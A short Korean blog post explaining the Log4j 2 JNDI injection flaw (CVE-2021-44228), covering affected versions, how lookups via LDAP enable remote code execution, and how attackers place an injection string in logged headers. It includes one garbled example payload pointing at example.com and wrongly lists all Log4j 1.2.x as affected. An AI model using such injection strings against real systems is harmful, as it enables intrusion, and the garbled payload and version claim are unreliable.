[보안] Log4j 2 CVE-2021-44228

castellan·2021년 12월 21일
0

취약 버전

  • Apache Log4j 2.0-beta9 ~ 2.12.1 및 2.13.0 ~ 2.15.0 버전
  • Apache Log4j 1.2.x의 모든 버전

취약성

우선 이 취약점은 JNDI와 LDAP를 이용한다. JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스이다. Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.
Log4j 라이브러리는 아파치 소프트웨어 재단에서 개발한 인기 있는 Java 로깅 프레임 워크입니다. Log4j는 프로그램을 작성하는 도중에 로그를 남기기 위해 사용되는 자바 기반 로깅 유틸리티 입니다. 이번에 발견된 주요 취약점은 Log4j 2 버전에 존재하는 JNDI(Java Naming and Directory Interface) 인젝션 취약점으로, 이를 악용하면 원격 코드 실행(RCE)이 가능하게 됩니다.

취약점 원리

JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다. 이 LDAP가 이번 취약점에 가장 중요한 포인트이다.

Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다. 예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.

이러한 접근 인터페이스가 이번 사태에 치명적이게 된 이유는, Log4j에는 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.

이런 문법은 로그가 기록될 때도 사용이 가능 했고, 결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다. 이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.

[Exploit Test]
https://application.security/free-application-security-training/understanding-apache-log4j-vulnerability

profile
Developer, Trader, Walker

0개의 댓글